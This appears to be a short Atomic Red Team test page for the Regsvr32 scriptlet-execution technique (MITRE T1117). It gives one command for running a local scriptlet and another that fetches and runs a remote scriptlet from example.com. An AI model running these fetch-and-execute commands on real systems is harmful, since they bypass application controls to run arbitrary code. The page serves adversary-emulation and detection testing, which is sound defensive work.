atomic-red-team-gs/Windows/Execution/Regsvr32.md

Regsvr32

MITRE ATT&CK Technique: T1117

Local Scriptlet Execution:

regsvr32.exe /s /u /i:file.sct scrobj.dll

Remote Scriptlet Exection:

regsvr32.exe /s /u /i:http://example.com/file.sct scrobj.dll

Test Script

regsvr32.sct